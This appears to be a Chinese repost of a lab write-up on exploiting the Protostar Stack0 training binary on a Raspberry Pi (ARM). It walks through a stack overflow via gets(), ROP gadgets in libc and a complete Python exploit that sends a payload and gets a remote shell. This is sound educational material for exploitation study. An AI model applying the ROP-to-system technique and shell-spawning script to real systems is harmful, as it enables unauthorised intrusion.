转载

技术分享:利用树莓派进行ARM缓冲区溢出Exploit练习

技术分享:利用树莓派进行ARM缓冲区溢出Exploit练习

概述

前段时间,我将 Exploit Exercises Protostar 系列堆栈练习全部都给编译了一遍,并将这些东西保存在 Github 上。

由于我对该架构十分熟悉,所以更喜欢在ARM上完成 Exploit 练习。当我再一次完成Protostar所有练习时,我意识到可能可以将这些挑战一个一个进行分解,接下来我们就来看看 Stack0

Exploit

我是在树莓派上进行练习,如果你没有一个能够使用的设备,你也可以设置一个 QEMU 环境跟着文章进度一起玩耍。在这个练习中我已经将 ASLR (地址空间配置随机加载)给禁用了

我使用 gef 进行调试工作,这款工具对ARM架构的支持非常优秀。使用 socat 运行二进制文件,所以我们可以进行远程测试。

pi@raspberrypi:~/exploit-exercises-arm/protostar/stack0 $ socat tcp-l:6666,reuseaddr,fork exec:"./stack0"

在GDB中加载二进制文件之后,我们可以使用gef命令在程序的入口点设置一个断点。

gef> entry-break [+] Breaking at '{<text variable, no debug info>} 0x1044c <main>' Temporary breakpoint 1 at 0x1044c   [+] Starting execution

我们可以非常轻松的观察到即将在gets()函数发生的堆栈溢出:

0x00010468 <+28>:    sub r3, r11, #72    ; 0x48   0x0001046c <+32>:    mov r0, r3   0x00010470 <+36>:    bl  0x102e8  

如果我们向gets()函数发送76个字节数据,这会导致一个分段错误。

gef> c

Continuing.

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

You have changed the 'modified' variables!

Program received signal SIGSEGV, Segmentation fault.

如果我们检查程序的寄存器,会发现似乎我们已经将返回地址给覆盖掉了,现在控制的是pc:

gef> info registers   r0             0x0    0   r1             0x0    0   r2             0x1    1   r3             0x0    0   r4             0x0    0   r5             0x0    0   r6             0x10324    66340   r7             0x0    0   r8             0x0    0   r9             0x0    0   r10            0x76fff000    1996484608   r11            0x41414141    1094795585   r12            0x2b    43   sp             0x7efff5b0    0x7efff5b0   lr             0x76ed1008    1995247624   pc             0x41414140    0x41414140   cpsr           0x60000030    1610612784  

由于这不是一个可执行堆栈,我们需要使用ROP来实现代码执行。在主二进制本身几乎没有任何可以用的gadgets,我们不得不将目光转向libc。为了调用system()函数,我们需要新建一个ROP链。使用 ROPgadget ,我找到了以下gadgets来创建我们的ROP链。

在ARM架构下,参数通过寄存器传递给函数。例如r0会将保留的第一个参数传递给一个给定的函数调用。在我们的这个例子中就是 system() 函数。

gadget会分别中r0,r4,pc中取出数据。为了继续控制程序执行流程,之后会将gadget放入pc。

0x0007a12c : pop {r0, r4, pc}

第二个gadget仅仅是为了控制Link Register,这会包含system()函数的地址,并且bx lr指令也会调用函数本身。

0x0005cbc8 : pop {r4, r5, r6, r7, lr} ; add sp, sp, #0x10 ; bx lr  

由于已经禁用了ASLR,我们可以抓取libc的基地址并计算出每个gadget的偏移地址。

gef> vmmap        Start        End     Offset Perm Path 0x00010000 0x00011000 0x00000000 r-x /home/pi/exploit-exercises-arm/protostar/stack0/stack0   0x00020000 0x00021000 0x00000000 rw- /home/pi/exploit-exercises-arm/protostar/stack0/stack0   0x76e66000 0x76f91000 0x00000000 r-x /lib/arm-linux-gnueabihf/libc-2.19.so   0x76f91000 0x76fa1000 0x0012b000 --- /lib/arm-linux-gnueabihf/libc-2.19.so   0x76fa1000 0x76fa3000 0x0012b000 r-- /lib/arm-linux-gnueabihf/libc-2.19.so   0x76fa3000 0x76fa4000 0x0012d000 rw- /lib/arm-linux-gnueabihf/libc-2.19.so   0x76fa4000 0x76fa7000 0x00000000 rw-   0x76fba000 0x76fbf000 0x00000000 r-x /usr/lib/arm-linux-gnueabihf/libarmmem.so   0x76fbf000 0x76fce000 0x00005000 --- /usr/lib/arm-linux-gnueabihf/libarmmem.so   0x76fce000 0x76fcf000 0x00004000 rw- /usr/lib/arm-linux-gnueabihf/libarmmem.so   0x76fcf000 0x76fef000 0x00000000 r-x /lib/arm-linux-gnueabihf/ld-2.19.so   0x76ff5000 0x76ffb000 0x00000000 rw-   0x76ffb000 0x76ffc000 0x00000000 r-x [sigpage]   0x76ffc000 0x76ffd000 0x00000000 r-- [vvar]   0x76ffd000 0x76ffe000 0x00000000 r-x [vdso]   0x76ffe000 0x76fff000 0x0001f000 r-- /lib/arm-linux-gnueabihf/ld-2.19.so   0x76fff000 0x77000000 0x00020000 rw- /lib/arm-linux-gnueabihf/ld-2.19.so   0x7efdf000 0x7f000000 0x00000000 rwx [stack]   0xffff0000 0xffff1000 0x00000000 r-x [vectors]  

最后,如果我们继续往下看,或许可以获得字符串SHELL=/bin/bash的地址。我们可以索引到这个地址并获取/bin/bash,对于我们来说这将作为system()函数的一个参数。

以下为exploit

import socket   import sys   import struct   import telnetlib   def exploit():       try:         # Connect to target         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)         s.connect(('10.174.90.177', 6666))         print("[*] Connecting to target (!)")         # Build payload         payload = 'A' * 72         payload += struct.pack("<I", 0x76EE012C)         payload += struct.pack("<I", 0x7efff7f3)         payload += 'BBBB'         payload += struct.pack("<I", 0x76EC2BC8)         payload += 'CCCC'         payload += 'DDDD'         payload += 'EEEE'         payload += 'FFFF'         payload += struct.pack("<I", 0x76e9ffac)         print("[*] Sending Payload (!)")         # Send payload         s.sendall(payload)         # Interact with the shell         t = telnetlib.Telnet()         t.sock = s         t.interact()     except socket.errno:         raise  if __name__ == '__main__':       try:         exploit()     except KeyboardInterrupt:         sys.exit(0)

我们来运行试试!

[*] Connecting to target (!) [*] Sending Payload (!) id   uid=1000(pi) gid=1000(pi) groups=1000(pi),4(adm),20(dialout),24(cdrom),27(sudo),29(audio),44(video),46(plugdev),60(games),100(users),101(input),108(netdev),997(gpio),998(i2c),999(spi)  

*原文链接: rotlogix ,鸢尾编译,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

原文  http://www.freebuf.com/articles/system/103435.html
正文到此结束
Loading...